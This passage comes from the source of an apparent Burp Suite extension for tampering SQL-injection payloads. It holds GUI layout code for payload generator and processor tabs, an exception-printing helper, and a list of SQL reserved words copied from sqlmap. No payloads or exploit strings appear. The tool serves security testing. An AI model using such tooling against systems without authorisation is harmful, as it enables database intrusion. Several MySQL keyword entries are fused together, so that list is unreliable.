GroupLayout.PREFERRED_SIZE, 97, GroupLayout.PREFERRED_SIZE))))) 379 | .addContainerGap()) 380 | ) 381 | GeneratorPanelLayout.setVerticalGroup( 382 | GeneratorPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING) 383 | .addGroup(GeneratorPanelLayout.createSequentialGroup() 384 | .addContainerGap() 385 | .addComponent(jlbl1) 386 | .addPreferredGap(LayoutStyle.ComponentPlacement.RELATED) 387 | .addComponent(jlbl2, GroupLayout.PREFERRED_SIZE, 21, GroupLayout.PREFERRED_SIZE) 388 | .addGap(18, 18, 18) 389 | .addGroup(GeneratorPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING) 390 | .addComponent(spanePayloadList, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE) 391 | .addGroup(GeneratorPanelLayout.createSequentialGroup() 392 | .addComponent(pastePayloadButton) 393 | .addPreferredGap(LayoutStyle.ComponentPlacement.RELATED) 394 | .addComponent(loadPayloadButton) 395 | .addPreferredGap(LayoutStyle.ComponentPlacement.RELATED) 396 | .addComponent(removePayloadButton) 397 | .addPreferredGap(LayoutStyle.ComponentPlacement.RELATED) 398 | .addComponent(clearPayloadButton))) 399 | .addPreferredGap(LayoutStyle.ComponentPlacement.RELATED) 400 | .addGroup(GeneratorPanelLayout.createParallelGroup(GroupLayout.Alignment.BASELINE) 401 | .addComponent(self.textNewPayload, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE) 402 | .addComponent(addPayloadButton)) 403 | .addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED) 404 | .addComponent(jSeparator1, GroupLayout.PREFERRED_SIZE, 10, GroupLayout.PREFERRED_SIZE) 405 | .addPreferredGap(LayoutStyle.ComponentPlacement.RELATED) 406 | .addComponent(jlbl3) 407 | .addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED) 408 | .addComponent(jlbl4) 409 | .addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED) 410 | .addGroup(GeneratorPanelLayout.createParallelGroup(GroupLayout.Alignment.BASELINE) 411 | .addComponent(self.chkGeneral) 412 | .addComponent(self.chkMAXDB) 413 | .addComponent(self.chkOracle) 414 | .addComponent(self.chkSqlite)) 415 | .addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED) 416 | .addGroup(GeneratorPanelLayout.createParallelGroup(GroupLayout.Alignment.BASELINE) 417 | .addComponent(self.chkMSSQL) 418 | .addComponent(self.chkPostgres) 419 | .addComponent(self.chkMSAccess) 420 | .addComponent(self.chkMysql)) 421 | .addGap(18, 18, 18) 422 | .addGroup(GeneratorPanelLayout.createParallelGroup(GroupLayout.Alignment.BASELINE) 423 | .addComponent(jlbl5) 424 | .addComponent(toClipboardButton) 425 | .addComponent(toFileButton)) 426 | .addGap(20, 20, 20)) 427 | ) 428 | 429 | GeneratorScrollPane.setViewportView(GeneratorPanel) 430 | 431 | TabbedPane1.addTab("Generator", GeneratorScrollPane) 432 | 433 | varName = 'SQLiQueryTampering_comboProcessorTech' 434 | state = self.extender.callbacks.loadExtensionSetting(varName) 435 | 436 | for item in self.extender.getTamperFuncsName(): 437 | self.comboProcessorTech.addItem(item) 438 | 439 | if state : self.comboProcessorTech.setSelectedIndex(int(state)) 440 | 441 | jLabel1.setText("Processor Technique :") 442 | 443 | jLabel2.setText("Modify Plain Payloads based on the selected Processor Technique. Write one payload per line.") 444 | 445 | jLabel3.setText("Plain Payloads:") 446 | 447 | self.textPlainPayload.setColumns(20) 448 | self.textPlainPayload.setRows(5) 449 | jScrollPane1.setViewportView(self.textPlainPayload) 450 | 451 | jLabel4.setText("Tampered Payloads:") 452 | 453 | self.textTamperedPayload.setColumns(20) 454 | self.textTamperedPayload.setRows(5) 455 | jScrollPane2.setViewportView(self.textTamperedPayload) 456 | 457 | tamperPayloadButton.setText("Tamper Payloads") 458 | 459 | ProcessorPanelLayout = GroupLayout(ProcessorPanel) 460 | ProcessorPanel.setLayout(ProcessorPanelLayout) 461 | ProcessorPanelLayout.setHorizontalGroup( 462 | ProcessorPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING) 463 | .addGroup(GroupLayout.Alignment.TRAILING, ProcessorPanelLayout.createSequentialGroup() 464 | .addContainerGap(GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) 465 | .addComponent(tamperPayloadButton) 466 | .addContainerGap(GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) 467 | .addGroup(ProcessorPanelLayout.createSequentialGroup() 468 | .addContainerGap() 469 | .addGroup(ProcessorPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING) 470 | .addComponent(jSeparator2) 471 | .addComponent(jScrollPane1) 472 | .addComponent(jScrollPane2) 473 | .addGroup(ProcessorPanelLayout.createSequentialGroup() 474 | .addGroup(ProcessorPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING) 475 | .addComponent(jLabel3) 476 | .addComponent(jLabel4) 477 | .addGroup(ProcessorPanelLayout.createSequentialGroup() 478 | .addComponent(jLabel1) 479 | .addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED) 480 | .addComponent(self.comboProcessorTech, GroupLayout.PREFERRED_SIZE, 286, GroupLayout.PREFERRED_SIZE)) 481 | .addComponent(jLabel2)) 482 | .addGap(0, 78, Short.MAX_VALUE))) 483 | .addContainerGap()) 484 | ) 485 | ProcessorPanelLayout.setVerticalGroup( 486 | ProcessorPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING) 487 | .addGroup(ProcessorPanelLayout.createSequentialGroup() 488 | .addGap(33, 33, 33) 489 | .addGroup(ProcessorPanelLayout.createParallelGroup(GroupLayout.Alignment.BASELINE) 490 | .addComponent(jLabel1) 491 | .addComponent(self.comboProcessorTech, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)) 492 | .addGap(18, 18, 18) 493 | .addComponent(jSeparator2, GroupLayout.PREFERRED_SIZE, 10, GroupLayout.PREFERRED_SIZE) 494 | .addGap(12, 12, 12) 495 | .addComponent(jLabel2) 496 | .addGap(18, 18, 18) 497 | .addComponent(jLabel3) 498 | .addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED) 499 | .addComponent(jScrollPane1, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE) 500 | .addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED) 501 | .addComponent(jLabel4) 502 | .addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED) 503 | .addComponent(jScrollPane2, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE) 504 | .addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED) 505 | .addComponent(tamperPayloadButton) 506 | .addGap(36, 36, 36)) 507 | ) 508 | 509 | ProcessorScrollPane.setViewportView(ProcessorPanel) 510 | 511 | TabbedPane1.addTab("Processor", ProcessorScrollPane) 512 | 513 | jlbl6.setForeground( Color(255, 102, 51)) 514 | jlbl6.setFont(Font(jlbl6.getFont().toString(), 1, 14)) 515 | jlbl6.setText("Payloads Directory") 516 | 517 | jlbl9.setText("Choose your own directory containing payload files:") 518 | 519 | dirBrowseButton.setText("...") 520 | dirBrowseButton.setToolTipText("Browse") 521 | 522 | jlbl10.setText("If you want to remove any previously applied preferences:") 523 | 524 | restoreDefaultsButton.setText("Restore") 525 | reloadPayloadsButton.setText("Reload") 526 | 527 | jlbl7.setForeground( Color(255, 102, 51)) 528 | jlbl7.setFont(Font(jlbl7.getFont().toString(), 1, 14)) 529 | jlbl7.setText("Restore Defaults") 530 | 531 | OptionsPanelLayout = GroupLayout(OptionsPanel) 532 | OptionsPanel.setLayout(OptionsPanelLayout) 533 | OptionsPanelLayout.setHorizontalGroup( 534 | OptionsPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING) 535 | .addGroup(OptionsPanelLayout.createSequentialGroup() 536 | .addContainerGap() 537 | .addGroup(OptionsPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING) 538 | .addGroup(OptionsPanelLayout.createSequentialGroup() 539 | .addGap(12, 12, 12) 540 | .addComponent(jlbl7) 541 | .addContainerGap(GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) 542 | .addGroup(OptionsPanelLayout.createSequentialGroup() 543 | .addGroup(OptionsPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING) 544 | .addComponent(jSeparator3) 545 | .addGroup(OptionsPanelLayout.createSequentialGroup() 546 | .addComponent(self.textPayloadsDir) 547 | .addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED) 548 | .addComponent(dirBrowseButton, GroupLayout.PREFERRED_SIZE, 29, GroupLayout.PREFERRED_SIZE) 549 | .addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED) 550 | .addComponent(reloadPayloadsButton)) 551 | .addGroup(OptionsPanelLayout.createSequentialGroup() 552 | .addGroup(OptionsPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING) 553 | .addComponent(jlbl9) 554 | .addGroup(OptionsPanelLayout.createSequentialGroup() 555 | .addGap(8, 8, 8) 556 | .addComponent(jlbl6))) 557 | .addGap(0, 0, Short.MAX_VALUE))) 558 | .addContainerGap()) 559 | .addGroup(OptionsPanelLayout.createSequentialGroup() 560 | .addComponent(jlbl10) 561 | .addPreferredGap(LayoutStyle.ComponentPlacement.RELATED) 562 | .addComponent(restoreDefaultsButton) 563 | .addGap(0, 150, Short.MAX_VALUE)))) 564 | ) 565 | OptionsPanelLayout.setVerticalGroup( 566 | OptionsPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING) 567 | .addGroup(OptionsPanelLayout.createSequentialGroup() 568 | .addContainerGap() 569 | .addComponent(jlbl6) 570 | .addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED) 571 | .addComponent(jlbl9) 572 | .addPreferredGap(LayoutStyle.ComponentPlacement.RELATED) 573 | .addGroup(OptionsPanelLayout.createParallelGroup(GroupLayout.Alignment.TRAILING, False) 574 | .addComponent(dirBrowseButton, GroupLayout.Alignment.LEADING, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) 575 | .addComponent(reloadPayloadsButton, GroupLayout.Alignment.LEADING, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) 576 | .addComponent(self.textPayloadsDir)) 577 | .addGap(18, 18, 18) 578 | .addComponent(jSeparator3, GroupLayout.PREFERRED_SIZE, 10, GroupLayout.PREFERRED_SIZE) 579 | .addPreferredGap(LayoutStyle.ComponentPlacement.RELATED) 580 | .addComponent(jlbl7) 581 | .addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED) 582 | .addGroup(OptionsPanelLayout.createParallelGroup(GroupLayout.Alignment.BASELINE) 583 | .addComponent(jlbl10) 584 | .addComponent(restoreDefaultsButton)) 585 | .addContainerGap(254, Short.MAX_VALUE)) 586 | ) 587 | 588 | OptionsScrollPane.setViewportView(OptionsPanel) 589 | 590 | TabbedPane1.addTab("Options", OptionsScrollPane) 591 | 592 | self.mainPanel = JPanel() 593 | layout = GroupLayout(self.mainPanel) 594 | self.mainPanel.setLayout(layout) 595 | layout.setHorizontalGroup( 596 | layout.createParallelGroup(GroupLayout.Alignment.LEADING) 597 | .addComponent(TabbedPane1, GroupLayout.DEFAULT_SIZE, 701, Short.MAX_VALUE) 598 | ) 599 | layout.setVerticalGroup( 600 | layout.createParallelGroup(GroupLayout.Alignment.LEADING) 601 | .addComponent(TabbedPane1) 602 | ) 603 | 604 | TabbedPane1.getAccessibleContext().setAccessibleName("Generator") 605 | # 606 | -------------------------------------------------------------------------------- /exceptions_fix.py: -------------------------------------------------------------------------------- 1 | ## Burp Exceptions Fix magic code 2 | import sys, functools, inspect, traceback 3 | 4 | def decorate_function(original_function): 5 | @functools.wraps(original_function) 6 | def decorated_function(*args, **kwargs): 7 | try: 8 | return original_function(*args, **kwargs) 9 | except: 10 | sys.stdout.write('\n\n*** PYTHON EXCEPTION\n') 11 | traceback.print_exc(file=sys.stdout) 12 | raise 13 | return decorated_function 14 | 15 | def FixBurpExceptionsForClass(cls): 16 | for name, method in inspect.getmembers(cls, inspect.ismethod): 17 | setattr(cls, name, decorate_function(method)) 18 | return cls 19 | 20 | def FixBurpExceptions(): 21 | for name, cls in inspect.getmembers(sys.modules['__main__'], predicate=inspect.isclass): 22 | FixBurpExceptionsForClass(cls) 23 | 24 | 25 | -------------------------------------------------------------------------------- /img/generator.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xer0times/SQLi-Query-Tampering/0be151decbfb41a5f0a7b830fe345b5ae16df8d7/img/generator.png -------------------------------------------------------------------------------- /img/intruder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xer0times/SQLi-Query-Tampering/0be151decbfb41a5f0a7b830fe345b5ae16df8d7/img/intruder.png -------------------------------------------------------------------------------- /img/processor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xer0times/SQLi-Query-Tampering/0be151decbfb41a5f0a7b830fe345b5ae16df8d7/img/processor.png -------------------------------------------------------------------------------- /img/url-decod.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xer0times/SQLi-Query-Tampering/0be151decbfb41a5f0a7b830fe345b5ae16df8d7/img/url-decod.png -------------------------------------------------------------------------------- /keywords.txt: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) 2 | # See the file 'LICENSE' for copying permission 3 | 4 | # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) 5 | 6 | ABSOLUTE 7 | ACTION 8 | ADD 9 | ALL 10 | ALLOCATE 11 | ALTER 12 | AND 13 | ANY 14 | ARE 15 | AS 16 | ASC 17 | ASSERTION 18 | AT 19 | AUTHORIZATION 20 | AVG 21 | BEGIN 22 | BETWEEN 23 | BIT 24 | BIT_LENGTH 25 | BOTH 26 | BY 27 | CALL 28 | CASCADE 29 | CASCADED 30 | CASE 31 | CAST 32 | CATALOG 33 | CHAR 34 | CHAR_LENGTH 35 | CHARACTER 36 | CHARACTER_LENGTH 37 | CHECK 38 | CLOSE 39 | COALESCE 40 | COLLATE 41 | COLLATION 42 | COLUMN 43 | COMMIT 44 | CONDITION 45 | CONNECT 46 | CONNECTION 47 | CONSTRAINT 48 | CONSTRAINTS 49 | CONTAINS 50 | CONTINUE 51 | CONVERT 52 | CORRESPONDING 53 | COUNT 54 | CREATE 55 | CROSS 56 | CURRENT 57 | CURRENT_DATE 58 | CURRENT_PATH 59 | CURRENT_TIME 60 | CURRENT_TIMESTAMP 61 | CURRENT_USER 62 | CURSOR 63 | DATE 64 | DAY 65 | DEALLOCATE 66 | DEC 67 | DECIMAL 68 | DECLARE 69 | DEFAULT 70 | DEFERRABLE 71 | DEFERRED 72 | DELETE 73 | DESC 74 | DESCRIBE 75 | DESCRIPTOR 76 | DETERMINISTIC 77 | DIAGNOSTICS 78 | DISCONNECT 79 | DISTINCT 80 | DO 81 | DOMAIN 82 | DOUBLE 83 | DROP 84 | ELSE 85 | ELSEIF 86 | END 87 | ESCAPE 88 | EXCEPT 89 | EXCEPTION 90 | EXEC 91 | EXECUTE 92 | EXISTS 93 | EXIT 94 | EXTERNAL 95 | EXTRACT 96 | FALSE 97 | FETCH 98 | FIRST 99 | FLOAT 100 | FOR 101 | FOREIGN 102 | FOUND 103 | FROM 104 | FULL 105 | FUNCTION 106 | GET 107 | GLOBAL 108 | GO 109 | GOTO 110 | GRANT 111 | GROUP 112 | HANDLER 113 | HAVING 114 | HOUR 115 | IDENTITY 116 | IF 117 | IMMEDIATE 118 | IN 119 | INDICATOR 120 | INITIALLY 121 | INNER 122 | INOUT 123 | INPUT 124 | INSENSITIVE 125 | INSERT 126 | INT 127 | INTEGER 128 | INTERSECT 129 | INTERVAL 130 | INTO 131 | IS 132 | ISOLATION 133 | JOIN 134 | KEY 135 | LANGUAGE 136 | LAST 137 | LEADING 138 | LEAVE 139 | LEFT 140 | LEVEL 141 | LIKE 142 | LOCAL 143 | LOOP 144 | LOWER 145 | MATCH 146 | MAX 147 | MIN 148 | MINUTE 149 | MODULE 150 | MONTH 151 | NAMES 152 | NATIONAL 153 | NATURAL 154 | NCHAR 155 | NEXT 156 | NO 157 | NOT 158 | NULL 159 | NULLIF 160 | NUMERIC 161 | OCTET_LENGTH 162 | OF 163 | ON 164 | ONLY 165 | OPEN 166 | OPTION 167 | OR 168 | ORDER 169 | OUT 170 | OUTER 171 | OUTPUT 172 | OVERLAPS 173 | PAD 174 | PARAMETER 175 | PARTIAL 176 | PATH 177 | POSITION 178 | PRECISION 179 | PREPARE 180 | PRESERVE 181 | PRIMARY 182 | PRIOR 183 | PRIVILEGES 184 | PROCEDURE 185 | READ 186 | REAL 187 | REFERENCES 188 | RELATIVE 189 | REPEAT 190 | RESIGNAL 191 | RESTRICT 192 | RETURN 193 | RETURNS 194 | REVOKE 195 | RIGHT 196 | ROLLBACK 197 | ROUTINE 198 | ROWS 199 | SCHEMA 200 | SCROLL 201 | SECOND 202 | SECTION 203 | SELECT 204 | SESSION 205 | SESSION_USER 206 | SET 207 | SIGNAL 208 | SIZE 209 | SMALLINT 210 | SOME 211 | SPACE 212 | SPECIFIC 213 | SQL 214 | SQLCODE 215 | SQLERROR 216 | SQLEXCEPTION 217 | SQLSTATE 218 | SQLWARNING 219 | SUBSTRING 220 | SUM 221 | SYSTEM_USER 222 | TABLE 223 | TEMPORARY 224 | THEN 225 | TIME 226 | TIMESTAMP 227 | TIMEZONE_HOUR 228 | TIMEZONE_MINUTE 229 | TO 230 | TRAILING 231 | TRANSACTION 232 | TRANSLATE 233 | TRANSLATION 234 | TRIM 235 | TRUE 236 | UNDO 237 | UNION 238 | UNIQUE 239 | UNKNOWN 240 | UNTIL 241 | UPDATE 242 | UPPER 243 | USAGE 244 | USER 245 | USING 246 | VALUE 247 | VALUES 248 | VARCHAR 249 | VARYING 250 | VIEW 251 | WHEN 252 | WHENEVER 253 | WHERE 254 | WHILE 255 | WITH 256 | WORK 257 | WRITE 258 | YEAR 259 | ZONE 260 | 261 | # MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html) 262 | 263 | ADD 264 | ALL 265 | ALTER 266 | ANALYZE 267 | AND 268 | ASASC 269 | ASENSITIVE 270 | BEFORE 271 | BETWEEN 272 | BIGINT 273 | BINARYBLOB 274 | BOTH 275 | BY 276 | CALL 277 | CASCADE 278 | CASECHANGE 279 | CAST 280 | CHAR 281 | CHARACTER 282 | CHECK 283 | COLLATE 284 | COLUMN 285 | CONCAT 286 | CONDITIONCONSTRAINT 287 | CONTINUE 288 | CONVERT 289 | CREATE 290 | CROSS 291 | CURRENT_DATE 292 | CURRENT_TIMECURRENT_TIMESTAMP 293 | CURRENT_USER 294 | CURSOR 295 | DATABASE 296 | DATABASES 297 | DAY_HOUR 298 | DAY_MICROSECONDDAY_MINUTE 299 | DAY_SECOND 300 | DEC 301 | DECIMAL 302 | DECLARE 303 | DEFAULTDELAYED 304 | DELETE 305 | DESC 306 | DESCRIBE 307 | DETERMINISTIC 308 | DISTINCTDISTINCTROW 309 | DIV 310 | DOUBLE 311 | DROP 312 | DUAL 313 | EACH 314 | ELSEELSEIF 315 | ENCLOSED 316 | ESCAPED 317 | EXISTS 318 | EXIT 319 | EXPLAIN 320 | FALSEFETCH 321 | FLOAT 322 | FLOAT4 323 | FLOAT8 324 | FOR 325 | FORCE 326 | FOREIGNFROM 327 | FULLTEXT 328 | GRANT 329 | GROUP 330 | HAVING 331 | HIGH_PRIORITYHOUR_MICROSECOND 332 | HOUR_MINUTE 333 | HOUR_SECOND 334 | IF 335 | IFNULL 336 | IGNORE 337 | ININDEX 338 | INFILE 339 | INNER 340 | INOUT 341 | INSENSITIVE 342 | INSERT 343 | INTINT1 344 | INT2 345 | INT3 346 | INT4 347 | INT8 348 | INTEGER 349 | INTERVALINTO 350 | IS 351 | ISNULL 352 | ITERATE 353 | JOIN 354 | KEY 355 | KEYS 356 | KILLLEADING 357 | LEAVE 358 | LEFT 359 | LIKE 360 | LIMIT 361 | LINESLOAD 362 | LOCALTIME 363 | LOCALTIMESTAMP 364 | LOCK 365 | LONG 366 | LONGBLOBLONGTEXT 367 | LOOP 368 | LOW_PRIORITY 369 | MATCH 370 | MEDIUMBLOB 371 | MEDIUMINT 372 | MEDIUMTEXTMIDDLEINT 373 | MINUTE_MICROSECOND 374 | MINUTE_SECOND 375 | MOD 376 | MODIFIES 377 | NATURAL 378 | NOTNO_WRITE_TO_BINLOG 379 | NULL 380 | NUMERIC 381 | ON 382 | OPTIMIZE 383 | OPTION 384 | OPTIONALLYOR 385 | ORDER 386 | OUT 387 | OUTER 388 | OUTFILE 389 | PRECISIONPRIMARY 390 | PROCEDURE 391 | PURGE 392 | READ 393 | READS 394 | REALREFERENCES 395 | REGEXP 396 | RELEASE 397 | RENAME 398 | REPEAT 399 | REPLACE 400 | REQUIRERESTRICT 401 | RETURN 402 | REVOKE 403 | RIGHT 404 | RLIKE 405 | SCHEMA 406 | SCHEMASSECOND_MICROSECOND 407 | SELECT 408 | SENSITIVE 409 | SEPARATOR 410 | SET 411 | SHOW 412 | SMALLINTSONAME 413 | SPATIAL 414 | SPECIFIC 415 | SQL 416 | SQLEXCEPTION 417 | SQLSTATESQLWARNING 418 | SQL_BIG_RESULT 419 | SQL_CALC_FOUND_ROWS 420 | SQL_SMALL_RESULT 421 | SSL 422 | STARTINGSTRAIGHT_JOIN 423 | TABLE 424 | TERMINATED 425 | THEN 426 | TINYBLOB 427 | TINYINT 428 | TINYTEXTTO 429 | TRAILING 430 | TRIGGER 431 | TRUE 432 | UNDO 433 | UNION 434 | UNIQUEUNLOCK 435 | UNSIGNED 436 | UPDATE 437 | USAGE 438 | USE 439 | USING 440 | UTC_DATEUTC_TIME 441 | UTC_TIMESTAMP 442 | VALUES 443 | VARBINARY 444 | VARCHAR 445 | VARCHARACTERVARYING 446 | VERSION 447 | WHEN 448 | WHERE 449 | WHILE 450 | WITH 451 | WRITEXOR 452 | YEAR_MONTH 453 | ZEROFILL 454 | 455 | # PostgreSQL keywords (reference: https://www.postgresql.org/docs/9.3/sql-keywords-appendix.html) 456 | 457 | A 458 | ABORT 459 | ABS 460 | ABSENT 461 | ABSOLUTE 462 | ACCESS 463 | ACCORDING 464 | ACTION 465 | ADA 466 | ADD 467 | ADMIN 468 | AFTER 469 | AGGREGATE 470 | ALL 471 | ALLOCATE 472 | ALSO 473 | ALTER 474 | ALWAYS 475 | ANALYSE 476 | ANALYZE 477 | AND 478 | ANY 479 | ARE 480 | ARRAY 481 | ARRAY_AGG 482 | ARRAY_MAX_CARDINALITY 483 | AS 484 | ASC 485 | ASENSITIVE 486 | ASSERTION 487 | ASSIGNMENT 488 | ASYMMETRIC 489 | AT 490 | ATOMIC 491 | ATTRIBUTE 492 | ATTRIBUTES 493 | AUTHORIZATION 494 | AVG 495 | BACKWARD 496 | BASE64 497 | BEFORE 498 | BEGIN 499 | BEGIN_FRAME 500 | BEGIN_PARTITION 501 | BERNOULLI 502 | BETWEEN 503 | BIGINT 504 | BINARY 505 | BIT 506 | BIT_LENGTH 507 | BLOB 508 | BLOCKED 509 | BOM 510 | BOOLEAN 511 | BOTH 512 | BREADTH 513 | BY 514 | C 515 | CACHE 516 | CALL 517 | CALLED 518 | CARDINALITY 519 | CASCADE 520 | CASCADED 521 | CASE 522 | CAST 523 | CATALOG 524 | CATALOG_NAME 525 | CEIL 526 | CEILING 527 | CHAIN 528 | CHAR 529 | CHARACTER 530 | CHARACTERISTICS 531 | CHARACTERS 532 | CHARACTER_LENGTH 533 | CHARACTER_SET_CATALOG 534 | CHARACTER_SET_NAME 535 | CHARACTER_SET_SCHEMA 536 | CHAR_LENGTH 537 | CHECK 538 | CHECKPOINT 539 | CLASS 540 | CLASS_ORIGIN 541 | CLOB 542 | CLOSE 543 | CLUSTER 544 | COALESCE 545 | COBOL 546 | COLLATE 547 | COLLATION 548 | COLLATION_CATALOG 549 | COLLATION_NAME 550 | COLLATION_SCHEMA 551 | COLLECT 552 | COLUMN 553 | COLUMNS 554 | COLUMN_NAME 555 | COMMAND_FUNCTION 556 | COMMAND_FUNCTION_CODE 557 | COMMENT 558 | COMMENTS 559 | COMMIT 560 | COMMITTED 561 | CONCURRENTLY 562 | CONDITION 563 | CONDITION_NUMBER 564 | CONFIGURATION 565 | CONNECT 566 | CONNECTION 567 | CONNECTION_NAME 568 | CONSTRAINT 569 | CONSTRAINTS 570 | CONSTRAINT_CATALOG 571 | CONSTRAINT_NAME 572 | CONSTRAINT_SCHEMA 573 | CONSTRUCTOR 574 | CONTAINS 575 | CONTENT 576 | CONTINUE 577 | CONTROL 578 | CONVERSION 579 | CONVERT 580 | COPY 581 | CORR 582 | CORRESPONDING 583 | COST 584 | COUNT 585 | COVAR_POP 586 | COVAR_SAMP 587 | CREATE 588 | CROSS 589 | CSV 590 | CUBE 591 | CUME_DIST 592 | CURRENT 593 | CURRENT_CATALOG 594 | CURRENT_DATE 595 | CURRENT_DEFAULT_TRANSFORM_GROUP 596 | CURRENT_PATH 597 | CURRENT_ROLE 598 | CURRENT_ROW 599 | CURRENT_SCHEMA 600 | CURRENT_TIME 601 | CURRENT_TIMESTAMP 602 | CURRENT_TRANSFORM_GROUP_FOR_TYPE 603 | CURRENT_USER 604 | CURSOR 605 | CURSOR_NAME 606 | CYCLE 607 | DATA 608 | DATABASE 609 | DATALINK 610 | DATE 611 | DATETIME_INTERVAL_CODE 612 | DATETIME_INTERVAL_PRECISION 613 | DAY 614 | DB 615 | DEALLOCATE 616 | DEC 617 | DECIMAL 618 | DECLARE 619 | DEFAULT 620 | DEFAULTS 621 | DEFERRABLE 622 | DEFERRED 623 | DEFINED 624 | DEFINER 625 | DEGREE 626 | DELETE 627 | DELIMITER 628 | DELIMITERS 629 | DENSE_RANK 630 | DEPTH 631 | DEREF 632 | DERIVED 633 | DESC 634 | DESCRIBE 635 | DESCRIPTOR 636 | DETERMINISTIC 637 | DIAGNOSTICS 638 | DICTIONARY 639 | DISABLE 640 | DISCARD 641 | DISCONNECT 642 | DISPATCH 643 | DISTINCT 644 | DLNEWCOPY 645 | DLPREVIOUSCOPY 646 | DLURLCOMPLETE 647 | DLURLCOMPLETEONLY 648 | DLURLCOMPLETEWRITE 649 | DLURLPATH 650 | DLURLPATHONLY 651 | DLURLPATHWRITE 652 | DLURLSCHEME 653 | DLURLSERVER 654 | DLVALUE 655 | DO 656 | DOCUMENT 657 | DOMAIN 658 | DOUBLE 659 | DROP 660 | DYNAMIC 661 | DYNAMIC_FUNCTION 662 | DYNAMIC_FUNCTION_CODE 663 | EACH 664 | ELEMENT 665 | ELSE 666 | EMPTY 667 | ENABLE 668 | ENCODING 669 | ENCRYPTED 670 | END 671 | END-EXEC 672 | END_FRAME 673 | END_PARTITION 674 | ENFORCED 675 | ENUM 676 | EQUALS 677 | ESCAPE 678 | EVENT 679 | EVERY 680 | EXCEPT 681 | EXCEPTION 682 | EXCLUDE 683 | EXCLUDING 684 | EXCLUSIVE 685 | EXEC 686 | EXECUTE 687 | EXISTS 688 | EXP 689 | EXPLAIN 690 | EXPRESSION 691 | EXTENSION 692 | EXTERNAL 693 | EXTRACT 694 | FALSE 695 | FAMILY 696 | FETCH 697 | FILE 698 | FILTER 699 | FINAL 700 | FIRST 701 | FIRST_VALUE 702 | FLAG 703 | FLOAT 704 | FLOOR 705 | FOLLOWING 706 | FOR 707 | FORCE 708 | FOREIGN 709 | FORTRAN 710 | FORWARD 711 | FOUND 712 | FRAME_ROW 713 | FREE 714 | FREEZE 715 | FROM 716 | FS 717 | FULL 718 | FUNCTION 719 | FUNCTIONS 720 | FUSION 721 | G 722 | GENERAL 723 | GENERATED 724 | GET 725 | GLOBAL 726 | GO 727 | GOTO 728 | GRANT 729 | GRANTED 730 | GREATEST 731 | GROUP 732 | GROUPING 733 | GROUPS 734 | HANDLER 735 | HAVING 736 | HEADER 737 | HEX 738 | HIERARCHY 739 | HOLD 740 | HOUR 741 | ID 742 | IDENTITY 743 | IF 744 | IGNORE 745 | ILIKE 746 | IMMEDIATE 747 | IMMEDIATELY 748 | IMMUTABLE 749 | IMPLEMENTATION 750 | IMPLICIT 751 | IMPORT 752 | IN 753 | INCLUDING 754 | INCREMENT 755 | INDENT 756 | INDEX 757 | INDEXES 758 | INDICATOR 759 | INHERIT 760 | INHERITS 761 | INITIALLY 762 | INLINE 763 | INNER 764 | INOUT 765 | INPUT 766 | INSENSITIVE 767 | INSERT 768 | INSTANCE 769 | INSTANTIABLE 770 | INSTEAD 771 | INT 772 | INTEGER 773 | INTEGRITY 774 | INTERSECT 775 | INTERSECTION 776 | INTERVAL 777 | INTO 778 | INVOKER 779 | IS 780 | ISNULL 781 | ISOLATION 782 | JOIN 783 | K 784 | KEY 785 | KEY_MEMBER 786 | KEY_TYPE 787 | LABEL 788 | LAG 789 | LANGUAGE 790 | LARGE 791 | LAST 792 | LAST_VALUE 793 | LATERAL 794 | LC_COLLATE 795 | LC_CTYPE 796 | LEAD 797 | LEADING 798 | LEAKPROOF 799 | LEAST 800 | LEFT 801 | LENGTH 802 | LEVEL 803 | LIBRARY 804 | LIKE 805 | LIKE_REGEX 806 | LIMIT 807 | LINK 808 | LISTEN 809 | LN 810 | LOAD 811 | LOCAL 812 | LOCALTIME 813 | LOCALTIMESTAMP 814 | LOCATION 815 | LOCATOR 816 | LOCK 817 | LOWER 818 | M 819 | MAP 820 | MAPPING 